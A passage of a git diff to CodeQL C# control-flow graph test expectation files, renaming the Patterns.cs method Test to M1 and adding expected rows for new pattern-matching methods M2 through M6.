PostDominance.cs:5:10:5:11 | enter M1 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:10:10:10:11 | enter M2 | | PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:10:10:10:11 | enter M2 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected index 3ab6261019f..ff77b166891 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected @@ -3484,80 +3484,137 @@ nodeEnclosing | NullCoalescing.cs:17:13:17:19 | (...) ... | NullCoalescing.cs:13:10:13:11 | M6 | | NullCoalescing.cs:17:13:17:24 | ... ?? ... | NullCoalescing.cs:13:10:13:11 | M6 | | NullCoalescing.cs:17:19:17:19 | access to parameter i | NullCoalescing.cs:13:10:13:11 | M6 | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:5:10:5:13 | exit Test | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:5:10:5:13 | exit Test (normal) | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:6:5:43:5 | {...} | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:7:9:7:24 | ... ...; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:7:16:7:23 | Object o = ... | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:7:20:7:23 | null | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:8:9:18:9 | if (...) ... | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:8:13:8:13 | access to local variable o | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:8:13:8:23 | ... is ... | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:8:18:8:23 | Int32 i1 | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:9:9:11:9 | {...} | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:10:13:10:42 | call to method WriteLine | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:10:13:10:43 | ...; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:10:31:10:41 | $"..." | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:10:33:10:36 | "int " | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:10:38:10:39 | access to local variable i1 | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:12:18:12:18 | access to local variable o | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:12:18:12:31 | ... is ... | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:12:23:12:31 | String s1 | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:13:9:15:9 | {...} | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:14:13:14:45 | call to method WriteLine | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:14:13:14:46 | ...; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:14:31:14:44 | $"..." | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:14:33:14:39 | "string " | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:14:41:14:42 | access to local variable s1 | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:16:18:16:18 | access to local variable o | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:16:18:16:28 | ... is ... | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:16:23:16:28 | Object v1 | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:17:9:18:9 | {...} | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:20:17:20:17 | access to local variable o | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:22:13:22:23 | case ...: | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:22:18:22:22 | "xyz" | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:23:17:23:22 | break; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:24:13:24:36 | case ...: | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:24:18:24:23 | Int32 i2 | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:24:30:24:31 | access to local variable i2 | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:24:30:24:35 | ... > ... | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:24:35:24:35 | 0 | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:25:17:25:51 | call to method WriteLine | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:25:17:25:52 | ...; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:25:35:25:50 | $"..." | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:25:37:25:45 | "positive " | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:25:47:25:48 | access to local variable i2 | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:26:17:26:22 | break; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:27:13:27:24 | case ...: | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:27:18:27:23 | Int32 i3 | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:28:17:28:46 | call to method WriteLine | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:28:17:28:47 | ...; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:28:35:28:45 | $"..." | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:28:37:28:40 | "int " | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:28:42:28:43 | access to local variable i3 | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:29:17:29:22 | break; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:30:13:30:27 | case ...: | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:30:18:30:26 | String s2 | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:31:17:31:49 | call to method WriteLine | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:31:17:31:50 | ...; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:31:35:31:48 | $"..." | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:31:37:31:43 | "string " | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:31:45:31:46 | access to local variable s2 | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:32:17:32:22 | break; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:33:13:33:24 | case ...: | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:33:18:33:23 | Object v2 | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:34:17:34:22 | break; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:35:13:35:20 | default: | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:36:17:36:51 | call to method WriteLine | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:36:17:36:52 | ...; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:36:35:36:50 | "Something else" | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:37:17:37:22 | break; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:40:17:40:17 | access to local variable o | Patterns.cs:5:10:5:13 | Test | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:5:10:5:11 | exit M1 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:5:10:5:11 | exit M1 (normal) | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:6:5:43:5 | {...} | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:7:9:7:24 | ... ...; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:7:16:7:23 | Object o = ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:7:20:7:23 | null | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:8:9:18:9 | if (...) ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:8:13:8:13 | access to local variable o | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:8:13:8:23 | ... is ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:8:18:8:23 | Int32 i1 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:9:9:11:9 | {...} | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:10:13:10:42 | call to method WriteLine | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:10:13:10:43 | ...; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:10:31:10:41 | $"..." | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:10:33:10:36 | "int " | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:10:38:10:39 | access to local variable i1 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:12:18:12:18 | access to local variable o | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:12:18:12:31 | ... is ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:12:23:12:31 | String s1 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:13:9:15:9 | {...} | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:14:13:14:45 | call to method WriteLine | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:14:13:14:46 | ...; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:14:31:14:44 | $"..." | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:14:33:14:39 | "string " | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:14:41:14:42 | access to local variable s1 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:16:18:16:18 | access to local variable o | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:16:18:16:28 | ... is ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:16:23:16:28 | Object v1 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:17:9:18:9 | {...} | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:20:17:20:17 | access to local variable o | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:22:13:22:23 | case ...: | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:22:18:22:22 | "xyz" | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:23:17:23:22 | break; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:24:13:24:36 | case ...: | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:24:18:24:23 | Int32 i2 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:24:30:24:31 | access to local variable i2 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:24:30:24:35 | ... > ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:24:35:24:35 | 0 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:25:17:25:51 | call to method WriteLine | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:25:17:25:52 | ...; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:25:35:25:50 | $"..." | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:25:37:25:45 | "positive " | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:25:47:25:48 | access to local variable i2 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:26:17:26:22 | break; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:27:13:27:24 | case ...: | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:27:18:27:23 | Int32 i3 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:28:17:28:46 | call to method WriteLine | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:28:17:28:47 | ...; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:28:35:28:45 | $"..." | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:28:37:28:40 | "int " | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:28:42:28:43 | access to local variable i3 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:29:17:29:22 | break; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:30:13:30:27 | case ...: | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:30:18:30:26 | String s2 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:31:17:31:49 | call to method WriteLine | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:31:17:31:50 | ...; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:31:35:31:48 | $"..." | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:31:37:31:43 | "string " | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:31:45:31:46 | access to local variable s2 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:32:17:32:22 | break; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:33:13:33:24 | case ...: | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:33:18:33:23 | Object v2 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:34:17:34:22 | break; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:35:13:35:20 | default: | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:36:17:36:51 | call to method WriteLine | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:36:17:36:52 | ...; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:36:35:36:50 | "Something else" | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:37:17:37:22 | break; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:40:17:40:17 | access to local variable o | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:47:24:47:25 | enter M2 | Patterns.cs:47:24:47:25 | M2 | +| Patterns.cs:47:24:47:25 | exit M2 | Patterns.cs:47:24:47:25 | M2 | +| Patterns.cs:47:24:47:25 | exit M2 (normal) | Patterns.cs:47:24:47:25 | M2 | +| Patterns.cs:48:9:48:9 | access to parameter c | Patterns.cs:47:24:47:25 | M2 | +| Patterns.cs:48:9:48:20 | ... is ... | Patterns.cs:47:24:47:25 | M2 | +| Patterns.cs:48:14:48:20 | not ... | Patterns.cs:47:24:47:25 | M2 | +| Patterns.cs:48:18:48:20 | a | Patterns.cs:47:24:47:25 | M2 | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:50:24:50:25 | exit M3 | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:50:24:50:25 | exit M3 (normal) | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:9:51:9 | access to parameter c | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:14:51:21 | not ... | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:18:51:21 | null | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:25:51:30 | ... is ... | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:30:51:30 | 1 | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:34:51:39 | ... is ... | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:39:51:39 | 2 | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:53:24:53:25 | enter M4 | Patterns.cs:53:24:53:25 | M4 | +| Patterns.cs:53:24:53:25 | exit M4 | Patterns.cs:53:24:53:25 | M4 | +| Patterns.cs:53:24:53:25 | exit M4 (normal) | Patterns.cs:53:24:53:25 | M4 | +| Patterns.cs:54:9:54:9 | access to parameter c | Patterns.cs:53:24:53:25 | M4 | +| Patterns.cs:54:9:54:37 | ... is ... | Patterns.cs:53:24:53:25 | M4 | +| Patterns.cs:54:14:54:37 | not ... | Patterns.cs:53:24:53:25 | M4 | +| Patterns.cs:54:18:54:37 | Patterns u | Patterns.cs:53:24:53:25 | M4 | +| Patterns.cs:54:18:54:37 | { ... } | Patterns.cs:53:24:53:25 | M4 | +| Patterns.cs:54:27:54:35 | { ... } | Patterns.cs:53:24:53:25 | M4 | +| Patterns.cs:54:33:54:33 | 1 | Patterns.cs:53:24:53:25 | M4 | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:56:26:56:27 | exit M5 | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:56:26:56:27 | exit M5 (normal) | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:57:5:63:5 | {...} | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:58:9:62:10 | return ...; | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:58:16:58:16 | access to parameter i | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:60:13:60:17 | not ... | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:60:13:60:28 | ... => ... | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:60:17:60:17 | 1 | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:61:13:61:13 | _ | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:61:13:61:24 | ... => ... | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:61:18:61:24 | "other" | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:65:26:65:27 | exit M6 | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:65:26:65:27 | exit M6 (normal) | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:66:5:72:5 | {...} | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:67:9:71:10 | return ...; | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:67:16:67:16 | 2 | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:67:16:71:9 | ... switch { ... } | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:69:13:69:17 | not ... | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:69:17:69:17 | 2 | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:70:13:70:13 | 2 | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:65:26:65:27 | M6 | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | M1 | | PostDominance.cs:5:10:5:11 | exit M1 | PostDominance.cs:5:10:5:11 | M1 | | PostDominance.cs:5:10:5:11 | exit M1 (normal) | PostDominance.cs:5:10:5:11 | M1 | @@ -5634,25 +5691,39 @@ blockEnclosing | NullCoalescing.cs:15:31:15:31 | 0 | NullCoalescing.cs:13:10:13:11 | M6 | | NullCoalescing.cs:16:17:16:25 | ... ?? ... | NullCoalescing.cs:13:10:13:11 | M6 | | NullCoalescing.cs:17:13:17:24 | ... ?? ... | NullCoalescing.cs:13:10:13:11 | M6 | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:9:9:11:9 | {...} | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:13:9:15:9 | {...} | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:17:9:18:9 | {...} | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:23:17:23:22 | break; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:24:13:24:36 | case ...: | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:24:30:24:31 | access to local variable i2 | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:25:17:25:52 | ...; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:27:13:27:24 | case ...: | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:28:17:28:47 | ...; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:30:13:30:27 | case ...: | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:31:17:31:50 | ...; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:33:13:33:24 | case ...: | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:34:17:34:22 | break; | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:35:13:35:20 | default: | Patterns.cs:5:10:5:13 | Test | -| Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:5:10:5:13 | Test | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:9:9:11:9 | {...} | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:13:9:15:9 | {...} | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:17:9:18:9 | {...} | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:23:17:23:22 | break; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:24:13:24:36 | case ...: | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:24:30:24:31 | access to local variable i2 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:25:17:25:52 | ...; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:27:13:27:24 | case ...: | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:28:17:28:47 | ...; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:30:13:30:27 | case ...: | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:31:17:31:50 | ...; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:33:13:33:24 | case ...: | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:34:17:34:22 | break; | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:35:13:35:20 | default: | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:47:24:47:25 | enter M2 | Patterns.cs:47:24:47:25 | M2 | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:53:24:53:25 | enter M4 | Patterns.cs:53:24:53:25 | M4 | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:61:13:61:13 | _ | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:61:18:61:24 | "other" | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:70:13:70:13 | 2 | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:65:26:65:27 | M6 | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | M1 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:10:10:10:11 | M2 | | PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:10:10:10:11 | M2 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected b/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected index 610c8d7f8eb..087bcc9b5d3 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected @@ -2216,6 +2216,50 @@ | Patterns.cs:37:17:37:22 | break; | Patterns.cs:37:17:37:22 | break; | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:40:9:42:9 | switch (...) {...} | | Patterns.cs:40:17:40:17 | access to local variable o | Patterns.cs:40:17:40:17 | access to local variable o | +| Patterns.cs:48:9:48:9 | access to parameter c | Patterns.cs:48:9:48:9 | access to parameter c | +| Patterns.cs:48:9:48:20 | ... is ... | Patterns.cs:48:9:48:9 | access to parameter c | +| Patterns.cs:48:14:48:20 | not ... | Patterns.cs:48:18:48:20 | a | +| Patterns.cs:48:18:48:20 | a | Patterns.cs:48:18:48:20 | a | +| Patterns.cs:51:9:51:9 | access to parameter c | Patterns.cs:51:9:51:9 | access to parameter c | +| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:9:51:9 | access to parameter c | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:9:51:9 | access to parameter c | +| Patterns.cs:51:14:51:21 | not ... | Patterns.cs:51:18:51:21 | null | +| Patterns.cs:51:18:51:21 | null | Patterns.cs:51:18:51:21 | null | +| Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:51:25:51:25 | access to parameter c | +| Patterns.cs:51:25:51:30 | ... is ... | Patterns.cs:51:25:51:25 | access to parameter c | +| Patterns.cs:51:30:51:30 | 1 | Patterns.cs:51:30:51:30 | 1 | +| Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:51:34:51:34 | access to parameter c | +| Patterns.cs:51:34:51:39 | ... is ... | Patterns.cs:51:34:51:34 | access to parameter c | +| Patterns.cs:51:39:51:39 | 2 | Patterns.cs:51:39:51:39 | 2 | +| Patterns.cs:54:9:54:9 | access to parameter c | Patterns.cs:54:9:54:9 | access to parameter c | +| Patterns.cs:54:9:54:37 | ... is ... | Patterns.cs:54:9:54:9 | access to parameter c | +| Patterns.cs:54:14:54:37 | not ... | Patterns.cs:54:18:54:37 | Patterns u | +| Patterns.cs:54:18:54:37 | Patterns u | Patterns.cs:54:18:54:37 | Patterns u | +| Patterns.cs:54:18:54:37 | { ... } | Patterns.cs:54:18:54:37 | Patterns u | +| Patterns.cs:54:27:54:35 | { ... } | Patterns.cs:54:33:54:33 | 1 | +| Patterns.cs:54:33:54:33 | 1 | Patterns.cs:54:33:54:33 | 1 | +| Patterns.cs:57:5:63:5 | {...} | Patterns.cs:57:5:63:5 | {...} | +| Patterns.cs:58:9:62:10 | return ...; | Patterns.cs:58:16:58:16 | access to parameter i | +| Patterns.cs:58:16:58:16 | access to parameter i | Patterns.cs:58:16:58:16 | access to parameter i | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:58:16:58:16 | access to parameter i | +| Patterns.cs:60:13:60:17 | not ... | Patterns.cs:60:17:60:17 | 1 | +| Patterns.cs:60:13:60:28 | ... => ... | Patterns.cs:60:17:60:17 | 1 | +| Patterns.cs:60:17:60:17 | 1 | Patterns.cs:60:17:60:17 | 1 | +| Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:60:22:60:28 | "not 1" | +| Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:13:61:13 | _ | +| Patterns.cs:61:13:61:24 | ... => ... | Patterns.cs:61:13:61:13 | _ | +| Patterns.cs:61:18:61:24 | "other" | Patterns.cs:61:18:61:24 | "other" | +| Patterns.cs:66:5:72:5 | {...} | Patterns.cs:66:5:72:5 | {...} | +| Patterns.cs:67:9:71:10 | return ...; | Patterns.cs:67:16:67:16 | 2 | +| Patterns.cs:67:16:67:16 | 2 | Patterns.cs:67:16:67:16 | 2 | +| Patterns.cs:67:16:71:9 | ... switch { ... } | Patterns.cs:67:16:67:16 | 2 | +| Patterns.cs:69:13:69:17 | not ... | Patterns.cs:69:17:69:17 | 2 | +| Patterns.cs:69:13:69:33 | ... => ... | Patterns.cs:69:17:69:17 | 2 | +| Patterns.cs:69:17:69:17 | 2 | Patterns.cs:69:17:69:17 | 2 | +| Patterns.cs:69:22:69:33 | "impossible" | Patterns.cs:69:22:69:33 | "impossible" | +| Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:13:70:13 | 2 | +| Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:70:13:70:13 | 2 | +| Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:18:70:27 | "possible" | | PostDominance.cs:6:5:8:5 